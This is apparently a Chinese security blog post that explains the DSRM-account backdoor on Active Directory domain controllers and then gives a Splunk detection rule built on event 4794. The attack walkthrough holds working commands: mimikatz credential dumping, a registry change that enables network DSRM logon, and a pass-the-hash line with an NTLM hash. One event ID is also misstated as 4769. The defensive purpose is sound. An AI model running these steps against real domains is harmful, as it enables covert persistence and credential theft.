01、简介
每个域控制器都有一个目录还原模式(DSRM)帐户,它的密码是在安装域控时设置的,实际上它对应的就是sam文件里的本地管理员“administrator”,基本很少会被重置,因此有着极强的隐蔽性。攻击者通过获取域控的DSRM密码,就可以使用帐户通过网络登录到域控服务器,从而达到权限维持的目的。
域内权限维持的方式有很多,每增加一条安全检测规则,就多一层安全保障。针对DSRM后门,基于AD Event日志能够帮助我们提供什么维度的检测,我们通过一个后门利用实例来看一下。
(资料图片)
02、利用方式
(1)获取域内用户Hash
使用mimikatz查看域内用户test的NTLM Hash。
mimikatz # privilege::debugmimikatz # lsadump::lsa /patch /name:test
(2)将DSRM帐户和域用户的NTLM Hash同步
使用DSRM的密码和指定域用户test的密码进行同步,在命令行环境中使用ntdsutil工具重置DSRM管理员密码。
(3)抓取DSRM密码
因同步域内用户test的NTLM Hash,可以发现,DSRM Hash 和域用户test的NTLM Hash一致。
mimikatz#privilege::debugmimikatz # token::elevatemimikatz # lsadump::sam
(4)修改DSRM登录方式
DSRM 有三种登录方式,具体如下:
0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器
如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为 2。
修改注册表:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
(5)使用DSRM远程登录
在域成员服务器上使用DSRM进行远程登录,注意domain使用域控的主机名。
mimikatz # privilege::debugmimikatz # sekurlsa::pth /user:administrator /domain:win-dc01 /ntlm:44f077e27f6fef69e7bd834c7242b040
03、攻击检测
当攻击者尝试重置DSRM管理员密码或是指定域内用户NTLM Hash同步时,都会生成4769事件,因此可以实时监控4794事件,一旦攻击者尝试修改DSRM密码就会触发告警。
4794事件:每次更改目录还原模式(DSRM)管理员密码时,就会生成此事件,包含SID和帐户名,以及调用方工作站。
安全规则:
index=ad EventCode=4794 | stats count earliest(_time) AS start_time latest(_time) AS end_time by dest user| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | eval message="在"+start_time+"到"+end_time+"时间内,域控服务器:"+dest +" 疑似DSRM域后门行为,试图设置目录服务还原模式管理员密码"+count+"次,操作账号:"+user| table start_time end_time user message
安全告警效果如下图: